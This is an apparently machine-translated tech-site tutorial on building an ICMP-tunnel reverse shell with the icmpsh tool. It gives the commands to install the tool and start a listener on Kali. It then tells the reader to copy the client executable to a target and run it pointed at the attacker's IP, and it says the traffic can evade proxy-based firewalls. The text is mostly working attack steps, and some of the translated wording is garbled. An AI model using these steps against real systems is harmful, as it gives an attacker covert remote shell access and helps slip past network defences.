Get the App
SLTechnology News&Howtos  ›  Network Security  › 

How to use icmpsh to build icmp Tunnel bouncing shell

Shulou Source: shulou.com Published: 2022-05-31 22:49:04 10月03日 Update

This article mainly introduces how to use icmpsh to build icmp tunnel rebound shell, has a certain reference value, interested friends can refer to, I hope you can learn a lot after reading this article, the following let Xiaobian take you to understand.

First install the icmpsh software on kali with the software address https://github.com/inquisb/icmpsh.git

We can clone git clone https://github.com/inquisb/icmpsh.git directly with git.

Then we need to install the python-impacket class library to ensure access to TCP, UDP, ICMP, etc.

Pip2 install impacket

Next we need to close our previous ping command responder to prevent the kernel from responding to the ping package itself.

Sysctl-w net.ipv4.icmp_echo_ignore_all=1

If you turn on the system ping after the experiment is completed, change the last 1 to 0.

Then you can start listening on kali.

Python icmpsh_m.py native ip target ip

And then transmit the icmpsh.exe to the target plane.

Icmpsh.exe-t 192.168.110.140-t is followed by the ip address of the attack plane and enter.

Shell received. Because the data is transmitted through the network layer using PING request / reply messages, there is no need to specify a service or port. This traffic cannot be detected by proxy-based firewalls, so this approach may bypass some firewall rules.

Thank you for reading this article carefully. I hope the article "how to use icmpsh to build icmp Tunnel rebound shell" shared by the editor will be helpful to everyone. At the same time, I also hope you will support us and pay attention to the industry information channel. More related knowledge is waiting for you to learn!

Tags: Articles tunnels addresses software firewalls transmissions fireproofing next values interests kernels at the same time commands messages attack machines data methods more friends traffic Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno Microsoft Huawei Redmi Apple MariaDB